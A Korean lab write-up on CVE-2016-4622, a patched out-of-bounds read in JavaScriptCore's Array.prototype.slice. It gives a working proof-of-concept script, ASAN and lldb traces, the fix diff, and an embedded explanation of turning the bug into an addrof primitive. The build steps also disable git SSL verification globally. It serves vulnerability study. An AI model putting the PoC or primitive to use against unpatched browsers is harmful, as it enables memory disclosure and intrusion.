콘텐츠로 건너뛰기

[실습] CVE-2016-4622 – arrayProtoFuncSlice에서 발생하는 OOB 취약점

[실습] CVE-2016-4622 – arrayProtoFuncSlice에서 발생하는 OOB 취약점

환경

빌드

  • Safari-601.6.17 태그를 대상으로 WebKit 클론
GIT_SSL_NO_VERIFY=1 git clone --depth 1 --branch Safari-601.6.17 \
  https://github.com/WebKit/WebKit.git
  
mv WebKit WebKit-Safari-601.6.17
  • 오래된 SSL 인증서 관련 문제 임시방편 해결

https://fennerschool-people.anu.edu.au/leahys/update_macos_certificates/

git config --global http.sslVerify false
  • cmake 없이 임시방편으로 jsc 빌드하기 (RELEASE)
cd WebKit-Safari-601.6.17

sed -i '' 's/^if (cmakeBasedPortName()) {$/if (isCMakeBuild()) {/' Tools/Scripts/build-jsc

perl -c Tools/Scripts/build-jsc          # "syntax OK" 확인

sudo xcode-select -s /Applications/Xcode.app

LLVM_LIBRARY_PACKAGE=WebKitLibraries/LLVMLibrariesYosemite.tar.bz2 \
LLVM_INCLUDE_PACKAGE=WebKitLibraries/LLVMIncludesYosemite.tar.bz2 \
Tools/Scripts/build-jsc --release
  • Debug용으로 jsc 빌드하기
LLVM_LIBRARY_PACKAGE=WebKitLibraries/LLVMLibrariesYosemite.tar.bz2 \
LLVM_INCLUDE_PACKAGE=WebKitLibraries/LLVMIncludesYosemite.tar.bz2 \
Tools/Scripts/build-jsc --debug
  • ASAN으로 빌드하려면? (RELEASE)
Tools/Scripts/set-webkit-configuration --asan

cat WebKitBuild/ASan

LLVM_LIBRARY_PACKAGE=WebKitLibraries/LLVMLibrariesYosemite.tar.bz2 \
LLVM_INCLUDE_PACKAGE=WebKitLibraries/LLVMIncludesYosemite.tar.bz2 \
Tools/Scripts/build-jsc --release
  • jsc 빌드 성공 결과
LLVM_LIBRARY_PACKAGE=WebKitLibraries/LLVMLibrariesYosemite.tar.bz2 \
LLVM_INCLUDE_PACKAGE=WebKitLibraries/LLVMIncludesYosemite.tar.bz2 \
Tools/Scripts/build-jsc --release 

...

    export arch=x86_64
    export variant=normal
    /bin/sh -c /Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/JavaScriptCore.build/Release/All.build/Script-5DF7E1CC188E6B87003F9A46.sh

** BUILD SUCCEEDED **

POC

  • poc.jsc
var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
  • 실행 결과
seos-Mac:Release seo$ pwd
/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Release

seos-Mac:Release seo$ DYLD_FRAMEWORK_PATH=$(pwd) ./jsc poc.jsc
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Bug Patch

https://github.com/WebKit/WebKit/commit/d506e90ef3ea806c1ddbb5f236cd200a7c009a64

https://github.com/m1ghtym0/write-ups/blob/df56783107cc26023f41b6f31e0c48f9989f0ce4/browser/CVE-2016-4622/README.md?plain=1#L17

  • Source/JavaScriptCore/runtime/ArrayPrototype.cpp

읽어둔 length(=100)와 지금 다시 읽은 실제 길이(=0)를 비교한다.

다르면 fast path를 포기하고 아래 slow path(getProperty로 한 칸씩 읽는 루프)로 빠진다.

slow path는 publicLength 밖을 undefined로 처리하므로 OOB가 안 일어나게 만든다.

즉 stale한 length를 갱신하는 게 아니라, stale해졌다는 사실 자체를 감지해서 fast path를 버리는 방식이다.

여기서 "stale"은 프로그래밍에서 “읽어둔 값이 그 사이에 실제와 달라져서 더 이상 유효하지 않은 상태” 를 의미한다.

commit 650552a6ed7cac8aed3f53dd464341728984b82f (HEAD)
Author: msaboff@apple.com <msaboff@apple.com@268f45cc-cd09-0410-ab3c-d52691b4dbfc>
Date:   Tue May 3 21:42:44 2016 +0000

    Crash: Array.prototype.slice() and .splice() can call fastSlice() after an array is truncated
    https://bugs.webkit.org/show_bug.cgi?id=157322

    Reviewed by Filip Pizlo.

    Check to see if the source array has changed length before calling fastSlice().
    If it has, take the slow path.

    * runtime/ArrayPrototype.cpp:
    (JSC::arrayProtoFuncSlice):
    (JSC::arrayProtoFuncSplice):
    * tests/stress/regress-157322.js: New test.

    git-svn-id: http://svn.webkit.org/repository/webkit/trunk@200387 268f45cc-cd09-0410-ab3c-d52691b4dbfc

...

diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
index cfdd7fceb7f..08a6ec991af 100644
--- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -863,7 +863,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
     if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
         return JSValue::encode(jsUndefined());
 
-    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
+    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))) {
         if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
             return JSValue::encode(result);
     }
@@ -932,7 +932,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
         return JSValue::encode(jsUndefined());
 
     JSObject* result = nullptr;
-    if (speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))
+    if (speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == getLength(exec, thisObj))
         result = asArray(thisObj)->fastSlice(*exec, begin, deleteCount);
 
     if (!result) {
...

실습 전에 Claude에게 던져보는 질문

  • 왜 실행하면 딱 3개만 값이 나오는걸까? 나머지도 유출될 수 있지 않았을까? 그리고 해당 값은 어디서 가져온거들이지?

세 값 전부 출처가 명확합니다. 읽기 창(80바이트) 안에 "진짜 남의 데이터"가 24바이트밖에 없기 때문입니다.

메모리 배치

X를 shrink된 butterfly의 base라 하면:

X+0   [ a의 IndexingHeader {0, 0} ]                  8바이트
X+8   [ 0.123 ]                                      ┐
X+16  [ 1.123 ]                                      ┘ a의 payload slack 16바이트
X+24  [ b의 IndexingHeader {10, 10} ]                8바이트
X+32  [ b의 payload — 80바이트, 미초기화 ]
      ...

memcpy(dst = X+32, src = X+8, 80)

src: X+8  ─────────────────────────► X+88
dst:       X+32 ──────────────────────────────► X+112
           └──────── 56바이트 겹침 ────────┘     ← ASAN의 memcpy-param-overlap

각 값이 어디서 왔는가

읽는 위치 정체
b[0] X+8 a의 옛 배열 값0.123
b[1] X+16 a의 옛 배열 값1.123
b[2] X+24 b 자신의 IndexingHeader {publicLength=10, vectorLength=10}
b[3]~b[9] X+32~X+80 b 자신의 payload — 갓 mmap된 메모리라 0

b[0], b[1] — 왜 하필 2개인가

reallocateAndShrinkButterfly가 새 butterfly를 24바이트로 잡고, resizeArraymin(옛 1528, 새 24) = 24바이트를 복사합니다 (ButterflyInlines.h:150-153). 헤더 8 + payload 16 = double 정확히 2개입니다.

payload가 0이 아니라 16바이트인 건 ArrayStorage::sizeFor(0) = vectorOffset() = 16 때문이고요 (JSObject.cpp:2490). contiguous 배열인데 ArrayStorage 크기 계산식을 쓰는 그 quirk가 잔재를 담을 자리를 만든 겁니다.

b[2] — 자기 헤더

0x0000000A0000000A  →  publicLength=10, vectorLength=10  →  2.12199579146e-313

tryCreateUninitialized(vm, structure, 10)이 결과 배열을 X+24에 잡았고, 그 헤더가 src 범위 안에 들어와 있습니다. 결과 배열이 자기 헤더를 자기 payload로 복사한 셈입니다.

b[3] 이후 — 왜 0인가

두 가지가 겹칩니다.

  1. 자기 자신을 읽습니다. X+32부터는 dst 영역이라, memcpy가 목적지를 소스로 읽는 상황입니다.
  2. 그 메모리가 0입니다. vectorLength(10) == initialLength(10)이라 JSArray.h:257-259의 PNaN 채우기가 아무것도 안 하고, CopiedSpace 블록은 갓 mmap된 페이지라 0으로 시작합니다.

forward 복사였다면 b[3]0.123이 다시 나타나야 하는데 0이 나온 건, x86_64 memcpy가 80바이트 정도 크기에서 저장 전에 소스 전체를 레지스터로 먼저 읽기 때문입니다. 그래서 겹침에도 불구하고 원본 내용(=0)이 그대로 옮겨졌습니다.

“더 유출될 수 있지 않았나” — 안 됩니다

return 10return 1000으로 바꿔도 소용없습니다.

count=10    읽는 80바이트 중 진짜 데이터 24바이트, 나머지 56은 자기 payload
count=100   읽는 800바이트 중 진짜 데이터 24바이트, 나머지 776은 자기 payload
count=1000  읽는 8000바이트 중 진짜 데이터 24바이트, 나머지 7976은 자기 payload

결과 배열이 커지면 그만큼 자기 payload도 커져서, 겹침 구간만 늘어납니다. 진짜 남의 데이터는 언제나 X+8~X+32의 24바이트(3슬롯)로 고정입니다. count를 아무리 키워도 b[3] 이후는 항상 자기 자신이에요.

직접 해보세요 — return 1000으로 바꾸면 0.123, 1.123, <헤더>, 0, 0, 0, ... 이 998개 이어질 겁니다. 헤더 값만 {1000, 1000}으로 바뀌고요.

그럼 어떻게 더 유출하나

소스 butterfly 뒤에 흥미로운 것을 앉혀야 합니다. 방법은 두 가지입니다.

1. valueOf 안에서 할당을 끼워넣기 — addrof가 하는 일

a.length = 0;   // shrink → X+0 ~ X+24 확보, bump 포인터가 X+24로
a = [object];   // ★ 여기! X+24에 새 배열이 들어앉음

shrink와 slice 사이에 할당을 하나 밀어넣으면, X+24를 결과 배열 대신 우리가 고른 배열이 차지합니다.

이 PoC addrof
X+24 b의 헤더 {10,10} [object]의 헤더 {1,4}
X+32 b의 payload (0) object의 포인터
유출 결과 쓸모없는 숫자 객체 주소

b[2]8.4879831644e-314({1,4})로 바뀌고 b[3]에 포인터가 뜨는 그 구조입니다. PoC와 addrof의 차이는 딱 a = [object] 한 줄입니다.

2. 힙 그루밍

CopiedSpace는 bump allocator라 앞으로만 나아가고, 아직 안 쓴 영역은 mmap 직후 상태(0)입니다. 그래서 그냥 읽으면 0만 나옵니다.

미리 객체를 대량 할당했다 버려서 그 영역을 “더럽혀” 놓으면, GC 이후 재사용된 자리에 stale 데이터가 남아 실제 leak처럼 동작합니다. 다만 배치 제어가 훨씬 까다로워서 실전에서는 1번을 씁니다.

lldb로 확인

(lldb) br s -f JSObject.cpp -l 2493
(lldb) r
(lldb) p/x this->m_butterfly.get()        # 이 값 - 8 = X
(lldb) c
(lldb) br s -f JSArray.cpp -l 698
(lldb) c
(lldb) p/x m_butterfly.get()              # X+8   (src)
(lldb) p/x &resultButterfly               # X+32  (dst)
(lldb) p/x (char*)&resultButterfly - (char*)m_butterfly.get()
(long) $1 = 0x18                          # 24 — 이 거리가 곧 "유출 가능 바이트"

0x18이 핵심 숫자입니다. addrof에서 같은 걸 재보면 0x40(64) 이 나옵니다 — [object] butterfly 40바이트가 끼어들어 간격이 벌어졌고, 그 틈에 포인터가 들어있는 거죠.

(lldb) x/12gx <X>

이 한 줄로 위 배치도가 그대로 눈에 보입니다.

LLDB 디버그 팁

  • REPL 모드 유지: -i 옵션 사용

소스 코드 라인 단위로 LLDB 디버깅

(Debug 용으로 빌드 필수)

sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc poc.jsc

브레이크포인트

(lldb) b JSC::arrayProtoFuncSlice          # 심볼 이름
(lldb) br s -n arrayProtoFuncSlice         # 베이스 이름 퍼지 매칭
(lldb) b ArrayPrototype.cpp:848            # 파일:라인

제대로 걸렸는지 확인:

(lldb) image lookup -n arrayProtoFuncSlice
(lldb) br list

멈춘 뒤

(lldb) run
(lldb) bt                      # 스택
(lldb) v                       # 지역변수 (frame variable)
(lldb) p exec->argumentCount()
(lldb) n                       # 한 줄 실행
(lldb) s                       # 함수 안으로
(lldb) fin                     # 현재 프레임 빠져나가기
  • 실행 결과
seos-Mac:Debug seo$ pwd
/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug

seos-Mac:Debug seo$ sudo xcrun lldb -o "settings set target.env-vars DYLD_FRAMEWORK_PATH=$(pwd)" -- ./jsc poc.jsc
Password:
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "poc.jsc"
(lldb) settings set target.env-vars DYLD_FRAMEWORK_PATH=/Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug
(lldb) b JSC::arrayProtoFuncSlice
Breakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = 0x00000000001bc970
(lldb) r
Process 2330 launched: './jsc' (x86_64)
1 location added to breakpoint 1
Process 2330 stopped
* thread #1: tid = 0x44b9, 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfe080) + 15 at ArrayPrototype.cpp:724, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2
    frame #0: 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfe080) + 15 at ArrayPrototype.cpp:724
   721  EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
   722  {
   723      // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
-> 724      JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
   725      unsigned length = getLength(exec, thisObj);
   726      if (exec->hadException())
   727          return JSValue::encode(jsUndefined());
(lldb) image lookup -n arrayProtoFuncSlice
1 match found in /Users/seo/Desktop/WebKit-Safari-601.6.17/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore:
        Address: JavaScriptCore[0x00000000000218a0] (JavaScriptCore.__TEXT.__text + 130800)
        Summary: JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) at ArrayPrototype.cpp:722
(lldb) br list
Current breakpoints:
1: name = 'JSC::arrayProtoFuncSlice', locations = 2, resolved = 1, hit count = 1
  1.1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = JavaScriptCore[0x00000000001bc970], unresolved, hit count = 0
  1.2: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) + 15 at ArrayPrototype.cpp:724, address = 0x00000001000958af, resolved, hit count = 1

버그는 어디에?

ASAN에서 poc 코드를 실행할 경우,

JSC::JSArray::fastSlice 에서 복사할 원본과 대상 메모리 영역이 서로 겹치는 것을 감지하며 종료된다.

Stack Trace의 첫 번째 블록을 분석해 보면 메모리 손상에 관여한 함수들을 확인할 수 있으며, 함수 목록은 가장 마지막에 실행된 함수부터 가장 처음 실행된 함수 순서로 표시된다.

즉, 이 문제에서 가장 먼저 실행된 함수는 **JSC::arrayProtoFuncSlice**이고, 그 함수 안에서 JSC::JSArray::fastSlice 호출이 일어났다고 볼 수 있고

**JSC::arrayProtoFuncSlice**라는 함수 이름만 봐도, 배열에 대해 .slice 메서드가 실행될 때 호출되는 함수임을 알 수 있다.

seos-Mac:Release seo$  DYLD_FRAMEWORK_PATH=$(pwd) ./jsc poc.jsc
=================================================================
==409==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x63100000c9a0,0x63100000c9f0) and [0x63100000c988, 0x63100000c9d8) overlap
==409==atos returned: An admin user name and password is required to enter Developer Mode.
    #0 0x103793ea0 in __asan_memcpy (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/7.0.2/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x38ea0)
    #1 0x101e8f4b7 in JSC::JSArray::fastSlice(JSC::ExecState&, unsigned int, unsigned int) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x7a04b7)
    #2 0x101712aef in JSC::arrayProtoFuncSlice(JSC::ExecState*) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x23aef)
    #3 0x53fa58801027  (<unknown module>)
    #4 0x1020b29b4 in llint_entry (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x9c39b4)
    #5 0x1020ace25 in vmEntryToJavaScript (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x9bde25)
    #6 0x101e16e44 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x727e44)
    #7 0x101de4395 in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f5395)
    #8 0x101844e49 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x155e49)
    #9 0x101683f3d in runWithScripts(GlobalObject*, WTF::Vector<Script, 0ul, WTF::CrashOnOverflow, 16ul> const&, bool) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x100002f3d)
    #10 0x101682994 in jscmain(int, char**) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x100001994)
    #11 0x1016825b0 in main (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x1000015b0)
    #12 0x7fff9d93d5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
    #13 0x1  (<unknown module>)

0x63100000c9a0 is located 18848 bytes inside of 32768-byte region [0x631000008000,0x631000010000)
allocated by thread T0 here:
    #0 0x10379e2f6 in wrap_posix_memalign (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/7.0.2/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x432f6)
    #1 0x102445e3a in bmalloc::Allocator::allocate(unsigned long, unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xd56e3a)
    #2 0x10185c776 in JSC::CopiedBlock::createNoZeroFill(unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16d776)
    #3 0x10185ba9a in JSC::CopiedBlock::create(unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16ca9a)
    #4 0x10185b7bf in JSC::CopiedSpace::allocateBlock() (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16c7bf)
    #5 0x101cdf93c in JSC::Heap::Heap(JSC::VM*, JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f093c)
    #6 0x10234c133 in JSC::VM::VM(JSC::VM::VMType, JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc5d133)
    #7 0x10234eaf9 in JSC::VM::create(JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc5faf9)
    #8 0x1016827f5 in jscmain(int, char**) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x1000017f5)
    #9 0x1016825b0 in main (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x1000015b0)
    #10 0x7fff9d93d5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
    #11 0x1  (<unknown module>)

0x63100000c988 is located 18824 bytes inside of 32768-byte region [0x631000008000,0x631000010000)
allocated by thread T0 here:
    #0 0x10379e2f6 in wrap_posix_memalign (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/7.0.2/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x432f6)
    #1 0x102445e3a in bmalloc::Allocator::allocate(unsigned long, unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xd56e3a)
    #2 0x10185c776 in JSC::CopiedBlock::createNoZeroFill(unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16d776)
    #3 0x10185ba9a in JSC::CopiedBlock::create(unsigned long) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16ca9a)
    #4 0x10185b7bf in JSC::CopiedSpace::allocateBlock() (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x16c7bf)
    #5 0x101cdf93c in JSC::Heap::Heap(JSC::VM*, JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f093c)
    #6 0x10234c133 in JSC::VM::VM(JSC::VM::VMType, JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc5d133)
    #7 0x10234eaf9 in JSC::VM::create(JSC::HeapType) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc5faf9)
    #8 0x1016827f5 in jscmain(int, char**) (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x1000017f5)
    #9 0x1016825b0 in main (/Users/seo/Desktop/WebKit-Safari-601.6.17-ASAN/WebKitBuild/Release/./jsc+0x1000015b0)
    #10 0x7fff9d93d5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
    #11 0x1  (<unknown module>)

SUMMARY: AddressSanitizer: memcpy-param-overlap ??:0 __asan_memcpy
==409==ABORTING
Abort trap: 6

즉, 5번째 줄에서 버그가 트리거된 것이다.

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});

JSC::arrayProtoFuncSlice 함수부터 분석해보자.

해당 함수는 Source\JavaScriptCore\runtime\ArrayPrototype.cpp:721에 있다.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);
    if (exec->hadException())
        return JSValue::encode(jsUndefined());

    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

    if (isJSArray(thisObj)) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

    JSArray* result = constructEmptyArray(exec, nullptr, end - begin);

    unsigned n = 0;
    for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
            return JSValue::encode(jsUndefined());
        if (v)
            result->putDirectIndex(exec, n, v);
    }
    result->setLength(exec, n);
    return JSValue::encode(result);
}

하나씩 살펴보면,

먼저

.slice 메서드가 적용된 객체를 가져온다.

poc 코드에서 .slice 메서드는 배열 **a**에 대해 적용되고 있다.

즉 (arrayProtoFuncSlice 함수 안의) **thisObj**는 (poc 코드에서) **배열 a**에 대한 참조를 담게 된다.

JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);

**배열 a**의 길이를 가져온다.

unsigned length = getLength(exec, thisObj);

argumentClampedIndexFromStartOrEnd 함수를 실행하여 beginend 값을 구한다.

unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

argumentClampedIndexFromStartOrEnd 함수는 Source\JavaScriptCore\runtime\ArrayPrototype.cpp:164에 있다.

.slice 메서드를 호출할 때 사용한 인자들을 가져오는 역할을 한다.

**.slice()**에 넘어온 N번째 인자를 정수로 변환한 뒤, 음수면 length를 더해 뒤에서부터 세고, 최종 결과를 [0, length] 범위로 잘라내 안전한 배열 인덱스로 만들어 주는 함수이다.

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

아래와 같이 자바스크립트 형식의 예제 코드가 있다고 가정하자.

여기서는 slice 함수의 인자로 문자열을 사용했다.

var new_array = array.slice('1','3')

이것이 가능한 이유는 argumentClampedIndexFromStartOrEnd 함수 중

아래와 같은 코드에서 인자들을 정수(원시 타입: number)로 변환하기 때문이다.

double indexDouble = value.toInteger(exec); 

JavaScript에는 6가지 원시 타입이 있다.

string, number, boolean, null, undefined, symbol

원시값(primitive)이란 객체가 아니며 메서드를 갖지 않는 데이터이며,

JavaScript는 객체를 원시값으로 변환하기 위해 valueOf 메서드를 자동으로 호출하고,

valueOf 메서드를 직접 호출해야 하는 경우는 거의 없다고 보면 된다.

beginend 값을 구한 다음으로는,

thisObj 가 ****(poc 코드에서) 배열 **a**에 대한 참조를 하고 있기 때문에

if 안의 isJSArray(thisObj) 조건은 참이 된다.

    if (isJSArray(thisObj)) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

startIndex가 0, count가 10(end – begin = 10 – 0)으로 각각 인자가 전달되면서 JSArray::fastSlice 를 호출한다.

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        VM& vm = exec.vm();
        if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
            return nullptr;

        Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
        JSArray* resultArray = JSArray::tryCreateUninitialized(vm, resultStructure, count);
        if (!resultArray)
            return nullptr;

        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
        else
            memcpy(resultButterfly.contiguous().data(), m_butterfly->contiguous().data() + startIndex, sizeof(JSValue) * count);
        resultButterfly.setPublicLength(count);

        return resultArray;
    }
    default:
        return nullptr;
    }
}

JSArray::fastSlice 함수는 case 조건문에서 (poc 코드의) **배열 a**의 arrayTypeArrayWithDouble인지 확인한다.

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
    //...
}

poc 코드에서 우리는 배열 a를 만들고 증가하는 double 값으로 채웠고,

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

jsc 쉘에서 배열 a를 확인해보면 ArrayWithDouble 타입으로 되어있다.

seos-Mac:Debug seo$ DYLD_FRAMEWORK_PATH=$(pwd) ./jsc
>>> var a = [];
undefined
>>> for (var i = 0; i < 100; i++)
...     a.push(i + 0.123);
100
>>> describe(a)
Cell: 0x103447e30 (0x103433890:[Array, {}, ArrayWithDouble, Proto:0x103447f40]), ID: 160
>>>

ArrayWithDouble 타입으로 되어있기 때문에

Source\JavaScriptCore\runtime\JSArray.cpp:698에서 JSArray::fastSlice 함수 내부에 있는 memcpy가 실행된다.

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        VM& vm = exec.vm();
        if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
            return nullptr;

        Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
        JSArray* resultArray = JSArray::tryCreateUninitialized(vm, resultStructure, count);
        if (!resultArray)
            return nullptr;

        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
            
    //...
}

바로 여기서 메모리 손상이 발생했다.

이제 메모리 누수를 가능하게 하는 메모리 중첩이 왜 일어나는지 이해해야 한다.

poc 코드 중, 특히 5번째 줄을 다시 살펴보자.

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});

